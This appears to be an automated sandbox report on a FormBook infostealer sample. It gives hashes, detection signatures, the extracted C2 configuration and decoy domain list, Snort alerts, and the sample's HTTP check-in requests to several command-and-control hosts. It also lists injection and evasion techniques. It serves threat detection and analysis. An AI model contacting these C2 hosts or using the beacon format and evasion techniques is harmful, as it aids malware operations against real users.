Windows Analysis Report v8kZUFgdD4.exe

Overview

General Information

Sample Name: v8kZUFgdD4.exe
Analysis ID: 452667
MD5: 57f3ae2842ffb5ceea386d0b97a52818
SHA1: 68423398d025d3cbbb944ee4c3cea5501df67761
SHA256: a0c7b3d44a5cfcda917fc80c099da5ab3de582ff7c24f1373b4bd25f88d61e52
Tags: exeFormbook
Infos:

Most interesting Screenshot:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Detected unpacking (changes PE section rights)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
System process connects to network (likely due to code injection or exploit)
Yara detected FormBook
C2 URLs / IPs found in malware configuration
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Queues an APC in another process (thread injection)
Sample uses process hollowing technique
Tries to detect virtualization through RDTSC time measurements
Uses ipconfig to lookup or modify the Windows network settings
Antivirus or Machine Learning detection for unpacked file
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Contains functionality to read the PEB
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

AV Detection:

barindex
Antivirus detection for URL or domain
Source: http://www.findfoodshop.com/dy8g/?i0GDM=4wzaECy4GBTuQnITbNLpu7AOQbyqIYrzJAsJNgGB2dTR99UQwJdt+FpFkOawEfEVdOlYoXAvoA==&0X=C6Ah3vPx Avira URL Cloud: Label: malware
Source: http://www.invisiongc.net/dy8g/?i0GDM=MBhh1pO56K3YrZO9qJkl6N96HaWfS+D/lXW6/vw2t4O2Fl+GB2YqMK2ZraksguVxeKRya9uu2A==&0X=C6Ah3vPx Avira URL Cloud: Label: malware
Found malware configuration
Source: 00000007.00000002.599150521.0000000001330000.00000004.00000001.sdmp Malware Configuration Extractor: FormBook {"C2 list": ["www.extinctionbrews.com/dy8g/"], "decoy": ["mzyxi-rkah-y.net", "okinawarongnho.com", "qq66520.com", "nimbus.watch", "cwdelrio.com", "regalshopper.com", "avito-payment.life", "jorgeporcayo.com", "galvinsky.digital", "guys-only.com", "asmfruits-almacenes.com", "boatrace-life04.net", "cochez.club", "thelastvictor.net", "janieleconte.com", "ivoirepneus.com", "saludflv.info", "mydreamtv.net", "austinphy.com", "cajunseafoodstcloud.com", "13006608192.com", "clear3media.com", "thegrowclinic.com", "findfoodshop.com", "livegaming.store", "greensei.com", "atmaapothecary.com", "builtbydawn.com", "wthcoffee.com", "melodezu.com", "oikoschain.com", "matcitekids.com", "killrstudio.com", "doityourselfism.com", "monsoonnerd.com", "swissbankmusic.com", "envisionfordheights.com", "invisiongc.net", "aizaibali.com", "professioneconsulenza.net", "chaneabond.com", "theamercianhouseboat.com", "scuolatua.com", "surivaganza.com", "xn--vuq722jwngjre.com", "quiteimediato.space", "ecofingers.com", "manageoceanaccount.com", "cindywillardrealtor.com", "garimpeirastore.online", "tinsley.website", "fitnesstwentytwenty.com", "thenorthgoldline.com", "scuolacounselingroma.com", "iwccgroup.com", "wideawakemomma.com", "anthonysavillemiddleschool.com", "sprinkleresources.com", "ravexim3.com", "onedadtwodudes.com", "shxytl.com", "iriscloudvideo.com", "theshapecreator.com", "vermogenswerte.com"]}
Multi AV Scanner detection for submitted file
Source: v8kZUFgdD4.exe Virustotal: Detection: 38% Perma Link
Yara detected FormBook
Source: Yara match File source: 0.2.v8kZUFgdD4.exe.21d0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.v8kZUFgdD4.exe.21d0000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.v8kZUFgdD4.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.v8kZUFgdD4.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.1.v8kZUFgdD4.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000007.00000002.599150521.0000000001330000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.389518635.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.597969689.0000000000EA0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.341137782.00000000021D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.389832598.00000000009F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.598432080.0000000001100000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.389732615.00000000005B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000001.339035509.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Antivirus or Machine Learning detection for unpacked file
Source: 7.2.ipconfig.exe.3ac7960.5.unpack Avira: Label: TR/Patched.Ren.Gen
Source: 0.2.v8kZUFgdD4.exe.2190000.1.unpack Avira: Label: TR/Patched.Ren.Gen
Source: 7.2.ipconfig.exe.11406b0.0.unpack Avira: Label: TR/Patched.Ren.Gen
Source: 0.2.v8kZUFgdD4.exe.21d0000.2.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 1.2.v8kZUFgdD4.exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 1.1.v8kZUFgdD4.exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen

Compliance:

barindex
Uses 32bit PE files
Source: v8kZUFgdD4.exe Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED
Source: Binary string: ipconfig.pdb source: v8kZUFgdD4.exe, 00000001.00000002.389856707.0000000000A20000.00000040.00000001.sdmp
Source: Binary string: ipconfig.pdbGCTL source: v8kZUFgdD4.exe, 00000001.00000002.389856707.0000000000A20000.00000040.00000001.sdmp
Source: Binary string: wscui.pdbUGP source: explorer.exe, 00000005.00000000.363215324.000000000DC20000.00000002.00000001.sdmp
Source: Binary string: wntdll.pdbUGP source: v8kZUFgdD4.exe, 00000000.00000003.338578386.0000000002500000.00000004.00000001.sdmp, v8kZUFgdD4.exe, 00000001.00000002.389979034.0000000000A30000.00000040.00000001.sdmp, ipconfig.exe, 00000007.00000002.599975463.0000000003590000.00000040.00000001.sdmp
Source: Binary string: wntdll.pdb source: v8kZUFgdD4.exe, ipconfig.exe
Source: Binary string: wscui.pdb source: explorer.exe, 00000005.00000000.363215324.000000000DC20000.00000002.00000001.sdmp

Software Vulnerabilities:

barindex
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 4x nop then pop esi 1_2_00415852
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 4x nop then pop ebx 1_2_00406A98
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 4x nop then pop edi 1_2_00415699
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 4x nop then pop esi 7_2_00EB5852
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 4x nop then pop ebx 7_2_00EA6A99
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 4x nop then pop edi 7_2_00EB5699

Networking:

barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49748 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49748 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49748 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49753 -> 52.58.78.16:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49753 -> 52.58.78.16:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49753 -> 52.58.78.16:80
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49762 -> 103.138.88.11:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49762 -> 103.138.88.11:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49762 -> 103.138.88.11:80
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49763 -> 162.241.62.54:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49763 -> 162.241.62.54:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49763 -> 162.241.62.54:80
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: www.extinctionbrews.com/dy8g/
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /dy8g/?i0GDM=DjnY/S7/G1yk/GGdjnbMG0pwlAlipgBY8a8MDSEvYTAaE8/8s3MkSQswoGP3cSH4hj9/IphBwA==&0X=C6Ah3vPx HTTP/1.1Host: www.extinctionbrews.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /dy8g/?i0GDM=Y4JBfBjBKMGzbUzrNu+ARLK4ZQab+dap1kq40YSvqSzyJ/mfRg4U9+Lz1eKJfRLK3cAmaa0bkw==&0X=C6Ah3vPx HTTP/1.1Host: www.doityourselfism.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /dy8g/?i0GDM=X9Az7RthaT8xdqkxQ6tJRjQeFUHqBPh6fb7YU5dnwYv1rghxnAYW3P4f0krKlocv9Wl7uwWiww==&0X=C6Ah3vPx HTTP/1.1Host: www.ecofingers.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /dy8g/?i0GDM=MBhh1pO56K3YrZO9qJkl6N96HaWfS+D/lXW6/vw2t4O2Fl+GB2YqMK2ZraksguVxeKRya9uu2A==&0X=C6Ah3vPx HTTP/1.1Host: www.invisiongc.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /dy8g/?i0GDM=4wzaECy4GBTuQnITbNLpu7AOQbyqIYrzJAsJNgGB2dTR99UQwJdt+FpFkOawEfEVdOlYoXAvoA==&0X=C6Ah3vPx HTTP/1.1Host: www.findfoodshop.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /dy8g/?i0GDM=DyFQJ285GCHWDKdZkYvFextRb5KpVMjfJilCoJQfsM3+VBHaRIBYykQk9iPNEqtroWJ/WwLhcg==&0X=C6Ah3vPx HTTP/1.1Host: www.scuolatua.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /dy8g/?i0GDM=uor47PkOoKkLY099HuArMxw1XFE/ncsTlzCE/ODY21NzZk1xVsb5QvrTgLDn7S7AYBCRuXEk2w==&0X=C6Ah3vPx HTTP/1.1Host: www.okinawarongnho.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /dy8g/?i0GDM=q7jKWIuNsoGkf7/hAqyN1U3v/GjJJAAs8Ri7ihl8JZVwqZwISrlxTPDImUVNZCFSYJzAIvZikA==&0X=C6Ah3vPx HTTP/1.1Host: www.jorgeporcayo.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 52.58.78.16 52.58.78.16
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View ASN Name: ARUBA-ASNIT ARUBA-ASNIT
Source: global traffic HTTP traffic detected: GET /dy8g/?i0GDM=DjnY/S7/G1yk/GGdjnbMG0pwlAlipgBY8a8MDSEvYTAaE8/8s3MkSQswoGP3cSH4hj9/IphBwA==&0X=C6Ah3vPx HTTP/1.1Host: www.extinctionbrews.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /dy8g/?i0GDM=Y4JBfBjBKMGzbUzrNu+ARLK4ZQab+dap1kq40YSvqSzyJ/mfRg4U9+Lz1eKJfRLK3cAmaa0bkw==&0X=C6Ah3vPx HTTP/1.1Host: www.doityourselfism.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /dy8g/?i0GDM=X9Az7RthaT8xdqkxQ6tJRjQeFUHqBPh6fb7YU5dnwYv1rghxnAYW3P4f0krKlocv9Wl7uwWiww==&0X=C6Ah3vPx HTTP/1.1Host: www.ecofingers.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /dy8g/?i0GDM=MBhh1pO56K3YrZO9qJkl6N96HaWfS+D/lXW6/vw2t4O2Fl+GB2YqMK2ZraksguVxeKRya9uu2A==&0X=C6Ah3vPx HTTP/1.1Host: www.invisiongc.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /dy8g/?i0GDM=4wzaECy4GBTuQnITbNLpu7AOQbyqIYrzJAsJNgGB2dTR99UQwJdt+FpFkOawEfEVdOlYoXAvoA==&0X=C6Ah3vPx HTTP/1.1Host: www.findfoodshop.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /dy8g/?i0GDM=DyFQJ285GCHWDKdZkYvFextRb5KpVMjfJilCoJQfsM3+VBHaRIBYykQk9iPNEqtroWJ/WwLhcg==&0X=C6Ah3vPx HTTP/1.1Host: www.scuolatua.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /dy8g/?i0GDM=uor47PkOoKkLY099HuArMxw1XFE/ncsTlzCE/ODY21NzZk1xVsb5QvrTgLDn7S7AYBCRuXEk2w==&0X=C6Ah3vPx HTTP/1.1Host: www.okinawarongnho.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /dy8g/?i0GDM=q7jKWIuNsoGkf7/hAqyN1U3v/GjJJAAs8Ri7ihl8JZVwqZwISrlxTPDImUVNZCFSYJzAIvZikA==&0X=C6Ah3vPx HTTP/1.1Host: www.jorgeporcayo.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: unknown DNS traffic detected: queries for: www.aizaibali.com
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: privateContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/8.5X-Powered-By: ASP.NETDate: Thu, 22 Jul 2021 15:44:03 GMTConnection: closeContent-Length: 5045Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 20 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 20 0a 3c 68 65 61 64 3e 20 0a 3c 74 69 74 6c 65 3e 49 49 53 20 38 2e 35 20 44 65 74 61 69 6c 65 64 20 45 72 72 6f 72 20 2d 20 34 30 34 2e 30 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 20 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 20 0a 3c 21 2d 2d 20 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 0a 63 6f 64 65 7b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 30 30 36 36 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 31 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 20 0a 2e 63 6f 6e 66 69 67 5f 73 6f 75 72 63 65 20 63 6f 64 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 65 6d 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0a 70 72 65 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 34 65 6d 3b 77 6f 72 64 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 3b 7d 20 0a 75 6c 2c 6f 6c 7b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 31 30 70 78 20 35 70 78 3b 7d 20 0a 75 6c 2e 66 69 72 73 74 2c 6f 6c 2e 66 69 72 73 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 70 78 3b 7d 20 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 77 6f 72 64 2d 62 72 65 61 6b 3a 62 72 65 61 6b 2d 61 6c 6c 3b 7d 20 0a 2e 73 75 6d 6d 61 72 79 2d 63 6f 6e 74 61 69 6e 65 72 20 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 35 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 34 70 78 3b 7d 20 0a 6c 65 67 65 6e 64 2e 6e 6f 2d 65 78 70 61 6e 64 2d 61 6c 6c 7b 70 61 64 64 69 6e 67 3a 32 70 78 20 31 35 70 78 20 34 70 78 20 31 30 70 78 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 2d 31 32 70 78 3b 7d 20 0a 6c 65 67 65 6e 64 7b 63 6f 6c 6f 72 3a 23 33 33 33 33 33 33 3b 3b 6d 61 72 67 69 6e 3a 34 70 78 20 30 20 38 70 78 20 2d 31 32 70 78 3b 5f 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 70 78 3b 20 0a 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 3b 7d 20 0a 61 3a 6c 69 6e 6b 2c 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 30 30 37 45 46 46 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 20 0a 61 3a 68 6f 76 65 72 7b 74 65 78 74 2d 64 65
Source: explorer.exe, 00000005.00000000.360323834.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://fontfabrik.com
Source: explorer.exe, 00000005.00000000.360323834.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: explorer.exe, 00000005.00000000.343561590.000000000095C000.00000004.00000020.sdmp String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: explorer.exe, 00000005.00000000.360323834.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.carterandcone.coml
Source: explorer.exe, 00000005.00000000.360323834.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 00000005.00000000.360323834.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers
Source: explorer.exe, 00000005.00000000.360323834.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/?
Source: explorer.exe, 00000005.00000000.360323834.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: explorer.exe, 00000005.00000000.360323834.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: explorer.exe, 00000005.00000000.360323834.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers8
Source: explorer.exe, 00000005.00000000.360323834.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers?
Source: explorer.exe, 00000005.00000000.360323834.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designersG
Source: explorer.exe, 00000005.00000000.360323834.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.fonts.com
Source: explorer.exe, 00000005.00000000.360323834.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn
Source: explorer.exe, 00000005.00000000.360323834.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: explorer.exe, 00000005.00000000.360323834.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: explorer.exe, 00000005.00000000.360323834.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: explorer.exe, 00000005.00000000.360323834.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: explorer.exe, 00000005.00000000.360323834.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.goodfont.co.kr
Source: explorer.exe, 00000005.00000000.360323834.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: explorer.exe, 00000005.00000000.360323834.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.sajatypeworks.com
Source: explorer.exe, 00000005.00000000.360323834.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.sakkal.com
Source: explorer.exe, 00000005.00000000.360323834.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.sandoll.co.kr
Source: ipconfig.exe, 00000007.00000002.601572909.0000000003C42000.00000004.00000001.sdmp String found in binary or memory: http://www.scuolatua.com:80/dy8g/?i0GDM=DyFQJ285GCHWDKdZkYvFextRb5KpVMjfJilCoJQfsM3
Source: explorer.exe, 00000005.00000000.360323834.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.tiro.com
Source: explorer.exe, 00000005.00000000.360323834.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.typography.netD
Source: explorer.exe, 00000005.00000000.360323834.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.urwpp.deDPlease
Source: explorer.exe, 00000005.00000000.360323834.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://www.zhongyicts.com.cn

E-Banking Fraud:

barindex
Yara detected FormBook
Source: Yara match File source: 0.2.v8kZUFgdD4.exe.21d0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.v8kZUFgdD4.exe.21d0000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.v8kZUFgdD4.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.v8kZUFgdD4.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.1.v8kZUFgdD4.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000007.00000002.599150521.0000000001330000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.389518635.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.597969689.0000000000EA0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.341137782.00000000021D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.389832598.00000000009F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.598432080.0000000001100000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.389732615.00000000005B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000001.339035509.0000000000400000.00000040.00020000.sdmp, type: MEMORY

System Summary:

barindex
Malicious sample detected (through community Yara rule)
Source: 0.2.v8kZUFgdD4.exe.21d0000.2.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0.2.v8kZUFgdD4.exe.21d0000.2.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.v8kZUFgdD4.exe.21d0000.2.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0.2.v8kZUFgdD4.exe.21d0000.2.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.v8kZUFgdD4.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.2.v8kZUFgdD4.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.v8kZUFgdD4.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.2.v8kZUFgdD4.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.599150521.0000000001330000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.599150521.0000000001330000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.389518635.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.389518635.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.597969689.0000000000EA0000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.597969689.0000000000EA0000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.341137782.00000000021D0000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.341137782.00000000021D0000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.389832598.00000000009F0000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.389832598.00000000009F0000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.598432080.0000000001100000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.598432080.0000000001100000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.389732615.00000000005B0000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.389732615.00000000005B0000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000001.339035509.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000001.339035509.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Contains functionality to call native functions
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_004181D0 NtCreateFile, 1_2_004181D0
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00418280 NtReadFile, 1_2_00418280
Source: C:\Users\user\Desktop\v8kZUFgdD4.exe Code function: 1_2_00418300 NtClose, 1_2_00418300
